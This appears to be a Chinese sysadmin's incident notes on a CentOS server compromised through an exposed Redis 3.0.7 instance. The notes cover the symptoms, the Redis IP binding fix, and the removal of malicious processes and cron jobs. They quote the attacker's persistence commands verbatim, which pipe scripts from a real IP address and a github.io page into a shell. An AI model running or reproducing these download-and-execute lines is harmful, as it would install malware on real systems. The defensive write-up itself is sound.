今天早上来,网站打不开。通过xshell打不开终端,很久才打开。发现内存占用率高达95%,loadavg 15 16 16
现状:
- 负载太高 15 15 16
- 网站打不开,shell进去缓慢,执行明令响应太慢
分析:
记得缓存用的是reids3.07(有漏洞,对IP过滤不严谨导致的),需要绑定IP即可
解决:
redis.conf
bind 127.0.0.1 10.104.0.10
./redis-server ../redis.conf &
./redis-cli
flushdb ###清空缓存
邮件
/var/spool/mail/root
From: root@VM_178_10_centos.localdomain (Cron Daemon)
To: root@VM_178_10_centos.localdomain
Subject: Cron <root@VM_178_10_centos> /usr/bin/curl -fsSL http://137.59.18.134:7777/setup.sh | sh
可以确定主机被入侵了!在邮件中发现每隔1min执行一次下载脚本的动作
定时任务
crontab -l ###发现定时任务不正常,不停地刷乱码
/var/spool/cron/root
REDIS0006� ###redis漏洞,入侵记录
/var/spool/cron/crontabs/root
REDIS0006 .....
*/2 * * * * curl https://zcsgogogogo.github.io/1|/bin/sh ###痕迹
cpu/mem使用率
free -m
[root@centos ~]# free -m
total used free shared buffers cached
Mem: 3830 3361 469 0 207 1070
-/+ buffers/cache: 2084 1746
Swap: 0 0 0
cat /proc/loadavg
[root@centos ~]# cat /proc/loadavg
0.00 0.00 0.00 1/587 22099 ###在入侵之前都是15+的
top
查看占用CPU最高的程序
xxx5555
kill -9 pid
追踪到/tmp目录
###后门、病毒文件,
xxx555
redif
wgsp
逐一在进程中查找,杀掉 kill -9 pid
rm -rf /tmp/* ###清空临时目录文件
查杀:
再次crontab -l ,仍然发现再继续刷乱码,说明问题没有根本性解决
ps -ef | grep sh
发现 .sshd可以进程 /usr/bin/.sshd ### 一般bin目录下没有.xxx的可执行文件
kill -9 pid
crontab -r
OK,问题解决了
load average: 0.00, 0.00, 0.00 ###降下来了
总结-Linux入侵后的检测修复
- 查看占用CPU和内存最高的进程
- 查看定时任务crontab
- 查看mail和日志